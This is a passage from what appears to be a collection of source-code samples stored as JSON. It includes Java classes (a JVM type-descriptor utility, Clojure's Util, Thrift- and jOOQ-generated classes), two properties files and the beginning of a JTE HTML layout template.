buf.append(\")V\").toString();\r\n}\r\n\r\n/**\r\n * Returns the descriptor corresponding to the given method.\r\n *\r\n * @param m a {@link Method Method} object.\r\n * @return the descriptor of the given method.\r\n */\r\npublic static String getMethodDescriptor(final Method m){\r\n\tClass[] parameters = m.getParameterTypes();\r\n\tStringBuffer buf = new StringBuffer();\r\n\tbuf.append('(');\r\n\tfor(int i = 0; i < parameters.length; ++i)\r\n\t\t{\r\n\t\tgetDescriptor(buf, parameters[i]);\r\n\t\t}\r\n\tbuf.append(')');\r\n\tgetDescriptor(buf, m.getReturnType());\r\n\treturn buf.toString();\r\n}\r\n\r\n/**\r\n * Appends the descriptor of the given class to the given string buffer.\r\n *\r\n * @param buf the string buffer to which the descriptor must be appended.\r\n * @param c   the class whose descriptor must be computed.\r\n */\r\nprivate static void getDescriptor(final StringBuffer buf, final Class c){\r\n\tClass d = c;\r\n\twhile(true)\r\n\t\t{\r\n\t\tif(d.isPrimitive())\r\n\t\t\t{\r\n\t\t\tchar car;\r\n\t\t\tif(d == Integer.TYPE)\r\n\t\t\t\t{\r\n\t\t\t\tcar = 'I';\r\n\t\t\t\t}\r\n\t\t\telse if(d == Void.TYPE)\r\n\t\t\t\t{\r\n\t\t\t\tcar = 'V';\r\n\t\t\t\t}\r\n\t\t\telse if(d == Boolean.TYPE)\r\n\t\t\t\t{\r\n\t\t\t\tcar = 'Z';\r\n\t\t\t\t}\r\n\t\t\telse if(d == Byte.TYPE)\r\n\t\t\t\t{\r\n\t\t\t\tcar = 'B';\r\n\t\t\t\t}\r\n\t\t\telse if(d == Character.TYPE)\r\n\t\t\t\t{\r\n\t\t\t\tcar = 'C';\r\n\t\t\t\t}\r\n\t\t\telse if(d == Short.TYPE)\r\n\t\t\t\t{\r\n\t\t\t\tcar = 'S';\r\n\t\t\t\t}\r\n\t\t\telse if(d == Double.TYPE)\r\n\t\t\t\t{\r\n\t\t\t\tcar = 'D';\r\n\t\t\t\t}\r\n\t\t\telse if(d == Float.TYPE)\r\n\t\t\t\t{\r\n\t\t\t\tcar = 'F';\r\n\t\t\t\t}\r\n\t\t\telse /* if (d == Long.TYPE) */\r\n\t\t\t\t{\r\n\t\t\t\tcar = 'J';\r\n\t\t\t\t}\r\n\t\t\tbuf.append(car);\r\n\t\t\treturn;\r\n\t\t\t}\r\n\t\telse if(d.isArray())\r\n\t\t\t{\r\n\t\t\tbuf.append('[');\r\n\t\t\td = d.getComponentType();\r\n\t\t\t}\r\n\t\telse\r\n\t\t\t{\r\n\t\t\tbuf.append('L');\r\n\t\t\tString name = d.getName();\r\n\t\t\tint len = name.length();\r\n\t\t\tfor(int i = 0; i < len; ++i)\r\n\t\t\t\t{\r\n\t\t\t\tchar car = name.charAt(i);\r\n\t\t\t\tbuf.append(car == '.' ? '/' : car);\r\n\t\t\t\t}\r\n\t\t\tbuf.append(';');\r\n\t\t\treturn;\r\n\t\t\t}\r\n\t\t}\r\n}\r\n\r\n// ------------------------------------------------------------------------\r\n// Corresponding size and opcodes\r\n// ------------------------------------------------------------------------\r\n\r\n/**\r\n * Returns the size of values of this type.\r\n *\r\n * @return the size of values of this type, i.e., 2 for <tt>long</tt> and\r\n *         <tt>double</tt>, and 1 otherwise.\r\n */\r\npublic int getSize(){\r\n\treturn sort == LONG || sort == DOUBLE ? 2 : 1;\r\n}\r\n\r\n/**\r\n * Returns a JVM instruction opcode adapted to this Java type.\r\n *\r\n * @param opcode a JVM instruction opcode. This opcode must be one of ILOAD,\r\n *               ISTORE, IALOAD, IASTORE, IADD, ISUB, IMUL, IDIV, IREM, INEG, ISHL,\r\n *               ISHR, IUSHR, IAND, IOR, IXOR and IRETURN.\r\n * @return an opcode that is similar to the given opcode, but adapted to\r\n *         this Java type. For example, if this type is <tt>float</tt> and\r\n *         <tt>opcode</tt> is IRETURN, this method returns FRETURN.\r\n */\r\npublic int getOpcode(final int opcode){\r\n\tif(opcode == Opcodes.IALOAD || opcode == Opcodes.IASTORE)\r\n\t\t{\r\n\t\tswitch(sort)\r\n\t\t\t{\r\n\t\t\tcase BOOLEAN:\r\n\t\t\tcase BYTE:\r\n\t\t\t\treturn opcode + 5;\r\n\t\t\tcase CHAR:\r\n\t\t\t\treturn opcode + 6;\r\n\t\t\tcase SHORT:\r\n\t\t\t\treturn opcode + 7;\r\n\t\t\tcase INT:\r\n\t\t\t\treturn opcode;\r\n\t\t\tcase FLOAT:\r\n\t\t\t\treturn opcode + 2;\r\n\t\t\tcase LONG:\r\n\t\t\t\treturn opcode + 1;\r\n\t\t\tcase DOUBLE:\r\n\t\t\t\treturn opcode + 3;\r\n\t\t\t\t// case ARRAY:\r\n\t\t\t\t// case OBJECT:\r\n\t\t\tdefault:\r\n\t\t\t\treturn opcode + 4;\r\n\t\t\t}\r\n\t\t}\r\n\telse\r\n\t\t{\r\n\t\tswitch(sort)\r\n\t\t\t{\r\n\t\t\tcase VOID:\r\n\t\t\t\treturn opcode + 5;\r\n\t\t\tcase BOOLEAN:\r\n\t\t\tcase CHAR:\r\n\t\t\tcase BYTE:\r\n\t\t\tcase SHORT:\r\n\t\t\tcase INT:\r\n\t\t\t\treturn opcode;\r\n\t\t\tcase FLOAT:\r\n\t\t\t\treturn opcode + 2;\r\n\t\t\tcase LONG:\r\n\t\t\t\treturn opcode + 1;\r\n\t\t\tcase DOUBLE:\r\n\t\t\t\treturn opcode + 3;\r\n\t\t\t\t// case ARRAY:\r\n\t\t\t\t// case OBJECT:\r\n\t\t\tdefault:\r\n\t\t\t\treturn opcode + 4;\r\n\t\t\t}\r\n\t\t}\r\n}\r\n\r\n// ------------------------------------------------------------------------\r\n// Equals, hashCode and toString\r\n// ------------------------------------------------------------------------\r\n\r\n/**\r\n * Tests if the given object is equal to this type.\r\n *\r\n * @param o the object to be compared to this type.\r\n * @return <tt>true</tt> if the given object is equal to this type.\r\n */\r\npublic boolean equals(final Object o){\r\n\tif(this == o)\r\n\t\t{\r\n\t\treturn true;\r\n\t\t}\r\n\tif(!(o instanceof Type))\r\n\t\t{\r\n\t\treturn false;\r\n\t\t}\r\n\tType t = (Type) o;\r\n\tif(sort != t.sort)\r\n\t\t{\r\n\t\treturn false;\r\n\t\t}\r\n\tif(sort == Type.OBJECT || sort == Type.ARRAY)\r\n\t\t{\r\n\t\tif(len != t.len)\r\n\t\t\t{\r\n\t\t\treturn false;\r\n\t\t\t}\r\n\t\tfor(int i = off, j = t.off, end = i + len; i < end; i++, j++)\r\n\t\t\t{\r\n\t\t\tif(buf[i] != t.buf[j])\r\n\t\t\t\t{\r\n\t\t\t\treturn false;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\treturn true;\r\n}\r\n\r\n/**\r\n * Returns a hash code value for this type.\r\n *\r\n * @return a hash code value for this type.\r\n */\r\npublic int hashCode(){\r\n\tint hc = 13 * sort;\r\n\tif(sort == Type.OBJECT || sort == Type.ARRAY)\r\n\t\t{\r\n\t\tfor(int i = off, end = i + len; i < end; i++)\r\n\t\t\t{\r\n\t\t\thc = 17 * (hc + buf[i]);\r\n\t\t\t}\r\n\t\t}\r\n\treturn hc;\r\n}\r\n\r\n/**\r\n * Returns a string representation of this type.\r\n *\r\n * @return the descriptor of this type.\r\n */\r\npublic String toString(){\r\n\treturn getDescriptor();\r\n}\r\n}\r\n"
  },
  {
    "path": "samples/Java/clojure-util.java",
    "content": "/**\n *   Copyright (c) Rich Hickey. All rights reserved.\n *   The use and distribution terms for this software are covered by the\n *   Eclipse Public License 1.0 (http://opensource.org/licenses/eclipse-1.0.php)\n *   which can be found in the file epl-v10.html at the root of this distribution.\n *   By using this software in any fashion, you are agreeing to be bound by\n * \t the terms of this license.\n *   You must not remove this notice, or any other, from this software.\n **/\n\n/* rich Apr 19, 2008 */\n\npackage clojure.lang;\n\nimport java.lang.ref.Reference;\nimport java.math.BigInteger;\nimport java.util.Map;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.lang.ref.SoftReference;\nimport java.lang.ref.ReferenceQueue;\n\npublic class Util{\nstatic public boolean equiv(Object k1, Object k2){\n\tif(k1 == k2)\n\t\treturn true;\n\tif(k1 != null)\n\t\t{\n\t\tif(k1 instanceof Number && k2 instanceof Number)\n\t\t\treturn Numbers.equal((Number)k1, (Number)k2);\n\t\telse if(k1 instanceof IPersistentCollection || k2 instanceof IPersistentCollection)\n\t\t\treturn pcequiv(k1,k2);\n\t\treturn k1.equals(k2);\n\t\t}\n\treturn false;\n}\n\nstatic public boolean equiv(long k1, long k2){\n\treturn k1 == k2;\n}\n\nstatic public boolean equiv(Object k1, long k2){\n\treturn equiv(k1, (Object)k2);\n}\n\nstatic public boolean equiv(long k1, Object k2){\n\treturn equiv((Object)k1, k2);\n}\n\nstatic public boolean equiv(double k1, double k2){\n\treturn k1 == k2;\n}\n\nstatic public boolean equiv(Object k1, double k2){\n\treturn equiv(k1, (Object)k2);\n}\n\nstatic public boolean equiv(double k1, Object k2){\n\treturn equiv((Object)k1, k2);\n}\n\nstatic public boolean equiv(boolean k1, boolean k2){\n\treturn k1 == k2;\n}\n\nstatic public boolean equiv(Object k1, boolean k2){\n\treturn equiv(k1, (Object)k2);\n}\n\nstatic public boolean equiv(boolean k1, Object k2){\n\treturn equiv((Object)k1, k2);\n}\n\nstatic public boolean equiv(char c1, char c2) {\n    return c1 == c2;\n}\n\nstatic public boolean pcequiv(Object k1, Object k2){\n\tif(k1 instanceof IPersistentCollection)\n\t\treturn ((IPersistentCollection)k1).equiv(k2);\n\treturn ((IPersistentCollection)k2).equiv(k1);\n}\n\nstatic public boolean equals(Object k1, Object k2){\n\tif(k1 == k2)\n\t\treturn true;\n\treturn k1 != null && k1.equals(k2);\n}\n\nstatic public boolean identical(Object k1, Object k2){\n\treturn k1 == k2;\n}\n\nstatic public Class classOf(Object x){\n\tif(x != null)\n\t\treturn x.getClass();\n\treturn null;\n}\n\nstatic public int compare(Object k1, Object k2){\n\tif(k1 == k2)\n\t\treturn 0;\n\tif(k1 != null)\n\t\t{\n\t\tif(k2 == null)\n\t\t\treturn 1;\n\t\tif(k1 instanceof Number)\n\t\t\treturn Numbers.compare((Number) k1, (Number) k2);\n\t\treturn ((Comparable) k1).compareTo(k2);\n\t\t}\n\treturn -1;\n}\n\nstatic public int hash(Object o){\n\tif(o == null)\n\t\treturn 0;\n\treturn o.hashCode();\n}\n\nstatic public int hasheq(Object o){\n\tif(o == null)\n\t\treturn 0;\n\tif(o instanceof Number)\n\t\treturn Numbers.hasheq((Number)o);\n\telse if(o instanceof IHashEq)\n\t\treturn ((IHashEq)o).hasheq();\n\treturn o.hashCode();\n}\n\nstatic public int hashCombine(int seed, int hash){\n\t//a la boost\n\tseed ^= hash + 0x9e3779b9 + (seed << 6) + (seed >> 2);\n\treturn seed;\n}\n\nstatic public boolean isPrimitive(Class c){\n\treturn c != null && c.isPrimitive() && !(c == Void.TYPE);\n}\n\nstatic public boolean isInteger(Object x){\n\treturn x instanceof Integer\n\t\t\t|| x instanceof Long\n\t        || x instanceof BigInt\n\t\t\t|| x instanceof BigInteger;\n}\n\nstatic public Object ret1(Object ret, Object nil){\n\t\treturn ret;\n}\n\nstatic public ISeq ret1(ISeq ret, Object nil){\n\t\treturn ret;\n}\n\nstatic public <K,V> void clearCache(ReferenceQueue rq, ConcurrentHashMap<K, Reference<V>> cache){\n\t\t//cleanup any dead entries\n\tif(rq.poll() != null)\n\t\t{\n\t\twhile(rq.poll() != null)\n\t\t\t;\n\t\tfor(Map.Entry<K, Reference<V>> e : cache.entrySet())\n\t\t\t{\n            Reference<V> val = e.getValue();\n\t\t\tif(val != null && val.get() == null)\n\t\t\t\tcache.remove(e.getKey(), val);\n\t\t\t}\n\t\t}\n}\n\nstatic public RuntimeException runtimeException(String s){\n\treturn new RuntimeException(s);\n}\n\nstatic public RuntimeException runtimeException(String s, Throwable e){\n\treturn new RuntimeException(s, e);\n}\n\n/**\n * Throw even checked exceptions without being required\n * to declare them or catch them. Suggested idiom:\n * <p>\n * <code>throw sneakyThrow( some exception );</code>\n */\nstatic public RuntimeException sneakyThrow(Throwable t) {\n    // http://www.mail-archive.com/javaposse@googlegroups.com/msg05984.html\n\tif (t == null)\n\t\tthrow new NullPointerException();\n\tUtil.<RuntimeException>sneakyThrow0(t);\n\treturn null;\n}\n\n@SuppressWarnings(\"unchecked\")\nstatic private <T extends Throwable> void sneakyThrow0(Throwable t) throws T {\n\tthrow (T) t;\n}\n\n}\n\n"
  },
  {
    "path": "samples/Java/gen-java-linguist-thrift.java",
    "content": "/**\n * Autogenerated by Thrift Compiler (1.0.0-dev)\n *\n * DO NOT EDIT UNLESS YOU ARE SURE THAT YOU KNOW WHAT YOU ARE DOING\n *  @generated\n */\nimport org.apache.thrift.scheme.IScheme;\nimport org.apache.thrift.scheme.SchemeFactory;\nimport org.apache.thrift.scheme.StandardScheme;\n\nimport org.apache.thrift.scheme.TupleScheme;\nimport org.apache.thrift.protocol.TTupleProtocol;\nimport org.apache.thrift.protocol.TProtocolException;\nimport org.apache.thrift.EncodingUtils;\nimport org.apache.thrift.TException;\nimport org.apache.thrift.async.AsyncMethodCallback;\nimport org.apache.thrift.server.AbstractNonblockingServer.*;\nimport java.util.List;\nimport java.util.ArrayList;\nimport java.util.Map;\nimport java.util.HashMap;\nimport java.util.EnumMap;\nimport java.util.Set;\nimport java.util.HashSet;\nimport java.util.EnumSet;\nimport java.util.Collections;\nimport java.util.BitSet;\nimport java.nio.ByteBuffer;\nimport java.util.Arrays;\nimport javax.annotation.Generated;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\n@SuppressWarnings({\"cast\", \"rawtypes\", \"serial\", \"unchecked\"})\n@Generated(value = \"Autogenerated by Thrift Compiler (1.0.0-dev)\", date = \"2015-5-12\")\npublic class PullRequest implements org.apache.thrift.TBase<PullRequest, PullRequest._Fields>, java.io.Serializable, Cloneable, Comparable<PullRequest> {\n  private static final org.apache.thrift.protocol.TStruct STRUCT_DESC = new org.apache.thrift.protocol.TStruct(\"PullRequest\");\n\n  private static final org.apache.thrift.protocol.TField TITLE_FIELD_DESC = new org.apache.thrift.protocol.TField(\"title\", org.apache.thrift.protocol.TType.STRING, (short)1);\n\n  private static final Map<Class<? extends IScheme>, SchemeFactory> schemes = new HashMap<Class<? extends IScheme>, SchemeFactory>();\n  static {\n    schemes.put(StandardScheme.class, new PullRequestStandardSchemeFactory());\n    schemes.put(TupleScheme.class, new PullRequestTupleSchemeFactory());\n  }\n\n  public String title; // required\n\n  /** The set of fields this struct contains, along with convenience methods for finding and manipulating them. */\n  public enum _Fields implements org.apache.thrift.TFieldIdEnum {\n    TITLE((short)1, \"title\");\n\n    private static final Map<String, _Fields> byName = new HashMap<String, _Fields>();\n\n    static {\n      for (_Fields field : EnumSet.allOf(_Fields.class)) {\n        byName.put(field.getFieldName(), field);\n      }\n    }\n\n    /**\n     * Find the _Fields constant that matches fieldId, or null if its not found.\n     */\n    public static _Fields findByThriftId(int fieldId) {\n      switch(fieldId) {\n        case 1: // TITLE\n          return TITLE;\n        default:\n          return null;\n      }\n    }\n\n    /**\n     * Find the _Fields constant that matches fieldId, throwing an exception\n     * if it is not found.\n     */\n    public static _Fields findByThriftIdOrThrow(int fieldId) {\n      _Fields fields = findByThriftId(fieldId);\n      if (fields == null) throw new IllegalArgumentException(\"Field \" + fieldId + \" doesn't exist!\");\n      return fields;\n    }\n\n    /**\n     * Find the _Fields constant that matches name, or null if its not found.\n     */\n    public static _Fields findByName(String name) {\n      return byName.get(name);\n    }\n\n    private final short _thriftId;\n    private final String _fieldName;\n\n    _Fields(short thriftId, String fieldName) {\n      _thriftId = thriftId;\n      _fieldName = fieldName;\n    }\n\n    public short getThriftFieldId() {\n      return _thriftId;\n    }\n\n    public String getFieldName() {\n      return _fieldName;\n    }\n  }\n\n  // isset id assignments\n  public static final Map<_Fields, org.apache.thrift.meta_data.FieldMetaData> metaDataMap;\n  static {\n    Map<_Fields, org.apache.thrift.meta_data.FieldMetaData> tmpMap = new EnumMap<_Fields, org.apache.thrift.meta_data.FieldMetaData>(_Fields.class);\n    tmpMap.put(_Fields.TITLE, new org.apache.thrift.meta_data.FieldMetaData(\"title\", org.apache.thrift.TFieldRequirementType.DEFAULT, \n        new org.apache.thrift.meta_data.FieldValueMetaData(org.apache.thrift.protocol.TType.STRING)));\n    metaDataMap = Collections.unmodifiableMap(tmpMap);\n    org.apache.thrift.meta_data.FieldMetaData.addStructMetaDataMap(PullRequest.class, metaDataMap);\n  }\n\n  public PullRequest() {\n  }\n\n  public PullRequest(\n    String title)\n  {\n    this();\n    this.title = title;\n  }\n\n  /**\n   * Performs a deep copy on <i>other</i>.\n   */\n  public PullRequest(PullRequest other) {\n    if (other.isSetTitle()) {\n      this.title = other.title;\n    }\n  }\n\n  public PullRequest deepCopy() {\n    return new PullRequest(this);\n  }\n\n  @Override\n  public void clear() {\n    this.title = null;\n  }\n\n  public String getTitle() {\n    return this.title;\n  }\n\n  public PullRequest setTitle(String title) {\n    this.title = title;\n    return this;\n  }\n\n  public void unsetTitle() {\n    this.title = null;\n  }\n\n  /** Returns true if field title is set (has been assigned a value) and false otherwise */\n  public boolean isSetTitle() {\n    return this.title != null;\n  }\n\n  public void setTitleIsSet(boolean value) {\n    if (!value) {\n      this.title = null;\n    }\n  }\n\n  public void setFieldValue(_Fields field, Object value) {\n    switch (field) {\n    case TITLE:\n      if (value == null) {\n        unsetTitle();\n      } else {\n        setTitle((String)value);\n      }\n      break;\n\n    }\n  }\n\n  public Object getFieldValue(_Fields field) {\n    switch (field) {\n    case TITLE:\n      return getTitle();\n\n    }\n    throw new IllegalStateException();\n  }\n\n  /** Returns true if field corresponding to fieldID is set (has been assigned a value) and false otherwise */\n  public boolean isSet(_Fields field) {\n    if (field == null) {\n      throw new IllegalArgumentException();\n    }\n\n    switch (field) {\n    case TITLE:\n      return isSetTitle();\n    }\n    throw new IllegalStateException();\n  }\n\n  @Override\n  public boolean equals(Object that) {\n    if (that == null)\n      return false;\n    if (that instanceof PullRequest)\n      return this.equals((PullRequest)that);\n    return false;\n  }\n\n  public boolean equals(PullRequest that) {\n    if (that == null)\n      return false;\n\n    boolean this_present_title = true && this.isSetTitle();\n    boolean that_present_title = true && that.isSetTitle();\n    if (this_present_title || that_present_title) {\n      if (!(this_present_title && that_present_title))\n        return false;\n      if (!this.title.equals(that.title))\n        return false;\n    }\n\n    return true;\n  }\n\n  @Override\n  public int hashCode() {\n    List<Object> list = new ArrayList<Object>();\n\n    boolean present_title = true && (isSetTitle());\n    list.add(present_title);\n    if (present_title)\n      list.add(title);\n\n    return list.hashCode();\n  }\n\n  @Override\n  public int compareTo(PullRequest other) {\n    if (!getClass().equals(other.getClass())) {\n      return getClass().getName().compareTo(other.getClass().getName());\n    }\n\n    int lastComparison = 0;\n\n    lastComparison = Boolean.valueOf(isSetTitle()).compareTo(other.isSetTitle());\n    if (lastComparison != 0) {\n      return lastComparison;\n    }\n    if (isSetTitle()) {\n      lastComparison = org.apache.thrift.TBaseHelper.compareTo(this.title, other.title);\n      if (lastComparison != 0) {\n        return lastComparison;\n      }\n    }\n    return 0;\n  }\n\n  public _Fields fieldForId(int fieldId) {\n    return _Fields.findByThriftId(fieldId);\n  }\n\n  public void read(org.apache.thrift.protocol.TProtocol iprot) throws org.apache.thrift.TException {\n    schemes.get(iprot.getScheme()).getScheme().read(iprot, this);\n  }\n\n  public void write(org.apache.thrift.protocol.TProtocol oprot) throws org.apache.thrift.TException {\n    schemes.get(oprot.getScheme()).getScheme().write(oprot, this);\n  }\n\n  @Override\n  public String toString() {\n    StringBuilder sb = new StringBuilder(\"PullRequest(\");\n    boolean first = true;\n\n    sb.append(\"title:\");\n    if (this.title == null) {\n      sb.append(\"null\");\n    } else {\n      sb.append(this.title);\n    }\n    first = false;\n    sb.append(\")\");\n    return sb.toString();\n  }\n\n  public void validate() throws org.apache.thrift.TException {\n    // check for required fields\n    // check for sub-struct validity\n  }\n\n  private void writeObject(java.io.ObjectOutputStream out) throws java.io.IOException {\n    try {\n      write(new org.apache.thrift.protocol.TCompactProtocol(new org.apache.thrift.transport.TIOStreamTransport(out)));\n    } catch (org.apache.thrift.TException te) {\n      throw new java.io.IOException(te);\n    }\n  }\n\n  private void readObject(java.io.ObjectInputStream in) throws java.io.IOException, ClassNotFoundException {\n    try {\n      read(new org.apache.thrift.protocol.TCompactProtocol(new org.apache.thrift.transport.TIOStreamTransport(in)));\n    } catch (org.apache.thrift.TException te) {\n      throw new java.io.IOException(te);\n    }\n  }\n\n  private static class PullRequestStandardSchemeFactory implements SchemeFactory {\n    public PullRequestStandardScheme getScheme() {\n      return new PullRequestStandardScheme();\n    }\n  }\n\n  private static class PullRequestStandardScheme extends StandardScheme<PullRequest> {\n\n    public void read(org.apache.thrift.protocol.TProtocol iprot, PullRequest struct) throws org.apache.thrift.TException {\n      org.apache.thrift.protocol.TField schemeField;\n      iprot.readStructBegin();\n      while (true)\n      {\n        schemeField = iprot.readFieldBegin();\n        if (schemeField.type == org.apache.thrift.protocol.TType.STOP) { \n          break;\n        }\n        switch (schemeField.id) {\n          case 1: // TITLE\n            if (schemeField.type == org.apache.thrift.protocol.TType.STRING) {\n              struct.title = iprot.readString();\n              struct.setTitleIsSet(true);\n            } else { \n              org.apache.thrift.protocol.TProtocolUtil.skip(iprot, schemeField.type);\n            }\n            break;\n          default:\n            org.apache.thrift.protocol.TProtocolUtil.skip(iprot, schemeField.type);\n        }\n        iprot.readFieldEnd();\n      }\n      iprot.readStructEnd();\n\n      // check for required fields of primitive type, which can't be checked in the validate method\n      struct.validate();\n    }\n\n    public void write(org.apache.thrift.protocol.TProtocol oprot, PullRequest struct) throws org.apache.thrift.TException {\n      struct.validate();\n\n      oprot.writeStructBegin(STRUCT_DESC);\n      if (struct.title != null) {\n        oprot.writeFieldBegin(TITLE_FIELD_DESC);\n        oprot.writeString(struct.title);\n        oprot.writeFieldEnd();\n      }\n      oprot.writeFieldStop();\n      oprot.writeStructEnd();\n    }\n\n  }\n\n  private static class PullRequestTupleSchemeFactory implements SchemeFactory {\n    public PullRequestTupleScheme getScheme() {\n      return new PullRequestTupleScheme();\n    }\n  }\n\n  private static class PullRequestTupleScheme extends TupleScheme<PullRequest> {\n\n    @Override\n    public void write(org.apache.thrift.protocol.TProtocol prot, PullRequest struct) throws org.apache.thrift.TException {\n      TTupleProtocol oprot = (TTupleProtocol) prot;\n      BitSet optionals = new BitSet();\n      if (struct.isSetTitle()) {\n        optionals.set(0);\n      }\n      oprot.writeBitSet(optionals, 1);\n      if (struct.isSetTitle()) {\n        oprot.writeString(struct.title);\n      }\n    }\n\n    @Override\n    public void read(org.apache.thrift.protocol.TProtocol prot, PullRequest struct) throws org.apache.thrift.TException {\n      TTupleProtocol iprot = (TTupleProtocol) prot;\n      BitSet incoming = iprot.readBitSet(1);\n      if (incoming.get(0)) {\n        struct.title = iprot.readString();\n        struct.setTitleIsSet(true);\n      }\n    }\n  }\n\n}\n\n"
  },
  {
    "path": "samples/Java/generated-jooq-table.java",
    "content": "/*\n * This file is generated by jOOQ.\n */\npackage org.jooq.example.db.h2.tables;\n\n\nimport java.util.Arrays;\nimport java.util.List;\n\nimport org.jooq.Field;\nimport org.jooq.ForeignKey;\nimport org.jooq.Index;\nimport org.jooq.Name;\nimport org.jooq.Record;\nimport org.jooq.Row1;\nimport org.jooq.Schema;\nimport org.jooq.Table;\nimport org.jooq.TableField;\nimport org.jooq.UniqueKey;\nimport org.jooq.example.db.h2.Indexes;\nimport org.jooq.example.db.h2.Keys;\nimport org.jooq.example.db.h2.Public;\nimport org.jooq.example.db.h2.tables.records.BookStoreRecord;\nimport org.jooq.impl.DSL;\nimport org.jooq.impl.TableImpl;\n\n\n/**\n * This class is generated by jOOQ.\n */\n@SuppressWarnings({ \"all\", \"unchecked\", \"rawtypes\" })\npublic class BookStore extends TableImpl<BookStoreRecord> {\n\n    private static final long serialVersionUID = 873069360;\n\n    /**\n     * The reference instance of <code>PUBLIC.BOOK_STORE</code>\n     */\n    public static final BookStore BOOK_STORE = new BookStore();\n\n    /**\n     * The class holding records for this type\n     */\n    @Override\n    public Class<BookStoreRecord> getRecordType() {\n        return BookStoreRecord.class;\n    }\n\n    /**\n     * The column <code>PUBLIC.BOOK_STORE.NAME</code>.\n     */\n    public final TableField<BookStoreRecord, String> NAME = createField(DSL.name(\"NAME\"), org.jooq.impl.SQLDataType.VARCHAR(400).nullable(false), this, \"\");\n\n    /**\n     * Create a <code>PUBLIC.BOOK_STORE</code> table reference\n     */\n    public BookStore() {\n        this(DSL.name(\"BOOK_STORE\"), null);\n    }\n\n    /**\n     * Create an aliased <code>PUBLIC.BOOK_STORE</code> table reference\n     */\n    public BookStore(String alias) {\n        this(DSL.name(alias), BOOK_STORE);\n    }\n\n    /**\n     * Create an aliased <code>PUBLIC.BOOK_STORE</code> table reference\n     */\n    public BookStore(Name alias) {\n        this(alias, BOOK_STORE);\n    }\n\n    private BookStore(Name alias, Table<BookStoreRecord> aliased) {\n        this(alias, aliased, null);\n    }\n\n    private BookStore(Name alias, Table<BookStoreRecord> aliased, Field<?>[] parameters) {\n        super(alias, null, aliased, parameters, DSL.comment(\"\"));\n    }\n\n    public <O extends Record> BookStore(Table<O> child, ForeignKey<O, BookStoreRecord> key) {\n        super(child, key, BOOK_STORE);\n    }\n\n    @Override\n    public Schema getSchema() {\n        return Public.PUBLIC;\n    }\n\n    @Override\n    public List<Index> getIndexes() {\n        return Arrays.<Index>asList(Indexes.PRIMARY_KEY_F);\n    }\n\n    @Override\n    public UniqueKey<BookStoreRecord> getPrimaryKey() {\n        return Keys.UK_T_BOOK_STORE_NAME;\n    }\n\n    @Override\n    public List<UniqueKey<BookStoreRecord>> getKeys() {\n        return Arrays.<UniqueKey<BookStoreRecord>>asList(Keys.UK_T_BOOK_STORE_NAME);\n    }\n\n    @Override\n    public BookStore as(String alias) {\n        return new BookStore(DSL.name(alias), this);\n    }\n\n    @Override\n    public BookStore as(Name alias) {\n        return new BookStore(alias, this);\n    }\n\n    /**\n     * Rename this table\n     */\n    @Override\n    public BookStore rename(String name) {\n        return new BookStore(DSL.name(name), null);\n    }\n\n    /**\n     * Rename this table\n     */\n    @Override\n    public BookStore rename(Name name) {\n        return new BookStore(name, null);\n    }\n\n    // -------------------------------------------------------------------------\n    // Row1 type methods\n    // -------------------------------------------------------------------------\n\n    @Override\n    public Row1<String> fieldsRow() {\n        return (Row1) super.fieldsRow();\n    }\n}\n"
  },
  {
    "path": "samples/Java Properties/libraries.properties",
    "content": "# Copyright (c) 2009-2011  Couchbase, Inc.\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy of\n# this software and associated documentation files (the \"Software\"), to deal in\n# the Software without restriction, including without limitation the rights to\n# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies\n# of the Software, and to permit persons to whom the Software is furnished to do\n# so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in all\n# copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n\ncheckstyle.version=5.0\n\nfindbugs.version=1.3.9\n\nivy.version=2.2.0\nmvn.version=2.0.10\n\njmock.version=1.2.0\njunit.version=4.7\nlog4j.version=1.2.16\nslf4j.version=1.7.5\nspring-beans.version=3.0.3.RELEASE\ncodahale.metrics.version=3.0.1\n"
  },
  {
    "path": "samples/Java Properties/sounds.properties",
    "content": "#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you\n# may not use this file except in compliance with the License.  You may\n# obtain a copy of the License at\n#\n#\thttp://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n# implied.  See the License for the specific language governing\n# permissions and limitations under the License.\n#\nDink:net/rptools/maptool/client/sound/dink.mp3\nClink:net/rptools/maptool/client/sound/clink.mp3\n"
  },
  {
    "path": "samples/Java Template Engine/baseLayout.jte",
    "content": "@import static org.example.common.utils.JteHelper.*\n@import static org.example.global.ExampleConstants.*\n@import gg.jte.Content\n\n@param String pageTitle = null\n@param Content body\n\n!{pageTitle = pageTitle == null ? APP_NAME : pageTitle;}\n\n!{addCssFile(\"main\");}\n!{addScriptFile(\"layout\");}\n\n!{var renderedBody = preRenderContent(body);}\n<!DOCTYPE html>\n<html lang=\"${getLang()}\" data-template=\"jte\">\n<head>\n\t<title>${pageTitle}</title>\n\n\t<meta charset=\"utf-8\"/>\n\t<meta name=\"viewport\" content=\"width=device-width, initial-scale=1, shrink-to-fit=no\"/>\n\n\t<link rel=\"icon\" href=\"${assetHelper().path(\"favicon.ico\")}\"/>\n\t<link rel=\"stylesheet\" href=\"${assetHelper().path(\"js/jquery-ui.css\")}\"/>\n\n\t@for(var resource : assetHelper().bundle(\"globals\").getAssets().getCss())\n    <link rel=\"stylesheet\" href=\"${assetHelper().bundlePath(resource)}\"/>\n\t@endfor\n\n\t<%--\tEnsure our css files have precedence over global ones --%>\n\t@for(var file : 